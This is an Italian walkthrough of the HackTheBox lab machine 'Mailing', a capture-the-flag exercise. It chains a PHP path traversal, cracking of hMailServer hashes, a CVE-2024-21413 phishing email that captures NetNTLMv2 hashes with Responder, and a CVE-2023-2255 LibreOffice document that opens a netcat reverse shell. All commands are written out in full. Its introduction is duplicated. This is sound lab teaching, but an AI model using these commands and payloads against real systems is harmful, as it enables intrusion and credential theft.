
Se hai macinato macchine su HackTheBox, Mailing è una di quelle che ti insegna davvero qualcosa. È classificata come Facile, gira su Windows e combina alcune vulnerabilità reali: un directory traversal, una fuga di credenziali, CVE-2024-21413 e un exploit di macro di LibreOffice. Esaminiamola passo dopo passo.
Di Mursalin
Se hai macinato macchine HackTheBox, Mailing è una di quelle che ti insegna davvero qualcosa. È classificata come facile, funziona su Windows e combina alcune vulnerabilità reali: un directory traversal, un leak di credenziali, CVE-2024-21413 e un exploit tramite macro di LibreOffice. Percorriamola passo dopo passo.
Come sempre, iniziamo con una scansione nmap per vedere con cosa abbiamo a che fare:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
I risultati mostrano diverse porte aperte. I punti salienti:
mailing.htb)L'impronta digitale del sistema operativo corrisponde a Windows 10 o Server 2019, e la versione di IIS conferma che è almeno IIS 10. Noto anche che la firma dei messaggi SMB è abilitata ma non obbligatoria — da tenere a mente per dopo.
Le porte di posta sono sparse, ma richiederanno probabilmente credenziali. Il web server sulla porta 80 è il punto di partenza ovvio.
Dopo aver aggiunto mailing.htb a /etc/hosts, il sito sembra un'azienda di hosting email basata su hMailServer. Niente di appariscente in superficie — una sezione "about", una sezione "team" con tre nomi (Ruy Alonso, Maya Bendito, Gregory Smith) e un pulsante "Download Instructions".
Il pulsante di download punta a:
http://mailing.htb/download.php?file=instructions.pdf
Il parametro file= è immediatamente sospetto. Mettiamolo alla prova.
Ho eseguito ffuf per cercare sottodomini — niente di interessante. Poi feroxbuster per il brute forcing delle directory, anche lì niente di nuovo oltre a download.php. Quindi tutta l'attenzione va a quell'unico endpoint.
Testando il parametro file per path traversal:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
E funziona — otteniamo il file hosts di Windows. L'app si limita a prependere un percorso base a quanto fornito e chiama file_get_contents(). Nessuna sanificazione, nessuna restrizione. Il codice sorgente di download.php lo conferma quando lo leggiamo direttamente:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Ora abbiamo lettura arbitraria di file su una macchina Windows. Usiamola.
hMailServer memorizza la sua configurazione in hMailServer.ini. Dopo una ricerca, il file si trova in:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Lo leggiamo tramite il nostro traversal:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
L'output include:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Due hash MD5. Li inserisco in CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorQuindi abbiamo la password amministratore per hMailServer. Provarla su SMB come utente Windows administrator fallisce — non è una password dell'account locale, solo la password admin del servizio di posta. Ma funziona per autenticarsi al servizio SMTP, che è esattamente ciò di cui abbiamo bisogno.
Ora dobbiamo ottenere un punto d'appoggio come utente reale. Il sito menziona che il client di posta utilizzato è Windows Mail (basato sul PDF delle istruzioni di installazione). È ora di verificare vulnerabilità note.
CVE-2024-21413 è una vulnerabilità di esecuzione remota di codice in Microsoft Outlook e Windows Mail. Il difetto risiede in come i client gestiscono gli URL con protocollo file:// nel corpo delle email. Normalmente, vengono applicate restrizioni di sicurezza a diversi protocolli. Tuttavia, ricercatori hanno scoperto che se un URL termina con !qualcosa, tali restrizioni vengono silenziosamente rimosse. Quando un utente apre o anche solo visualizza in anteprima un'email con un tale link, il client tenta automaticamente di autenticarsi al server SMB dell'attaccante — fornendo un hash NetNTLMv2.
Esiste un PoC solido su GitHub di xaitax. Lo clono e lo eseguo con questi parametri:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
L'email viene inviata con successo. Nel frattempo, ho Responder in esecuzione sulla mia macchina attaccante per catturare l'autenticazione in arrivo:
sudo /opt/Responder/Responder.py -I tun0
Dopo circa un minuto, il client di Maya apre l'email e Responder cattura il suo hash NetNTLMv2. Lo decifro con hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Password decifrata: m4y4ngs4ri
Con le credenziali di Maya, mi connetto usando Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
Siamo dentro. La flag dell'utente si trova sul desktop di Maya.
È ora di cercare un percorso per diventare root. Esplorando il sistema, c'è una condivisione chiamata Important Documents e LibreOffice è installato. Questo è un forte indizio verso CVE-2023-2255.
CVE-2023-2255 colpisce le versioni di LibreOffice precedenti alla 7.4.7 e 7.5.3. Abusa dei "floating frames" — file esterni collegati all'interno di documenti .odt. La vulnerabilità fa sì che tali frame vengano caricati senza chiedere il permesso all'utente, e il contenuto può essere una macro che viene eseguita al caricamento del documento.
Il PoC di elweth-sec genera un .odt malevolo che incorpora un comando shell. La struttura del documento incorpora un tag <script> in content.xml che si attiva nel momento in cui LibreOffice apre il file.
Genero un payload di reverse shell:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Poi carico sia il file .odt che nc64.exe nella condivisione SMB Important Documents usando le credenziali di Maya:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Dalla shell WinRM di Maya, copio nc64.exe in C:\ProgramData in modo che la macro possa trovarlo:
copy "\Important Documents\nc64.exe" nc64.exe
Dopo un minuto o due, qualcosa sulla macchina apre il documento (probabilmente un'attività pianificata automatica), e ricevo una shell al mio listener netcat:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Siamo in esecuzione come localadmin — e la flag di root è sul Desktop.
La macchina è stata patchata il 15 maggio 2024 — solo 11 giorni dopo il rilascio — perché il download.php originale usava effettivamente include() di PHP invece di file_get_contents(). Ciò trasformava una semplice lettura file in una piena vulnerabilità di Local File Inclusion, il che significava che qualsiasi codice PHP in un file leggibile veniva eseguito.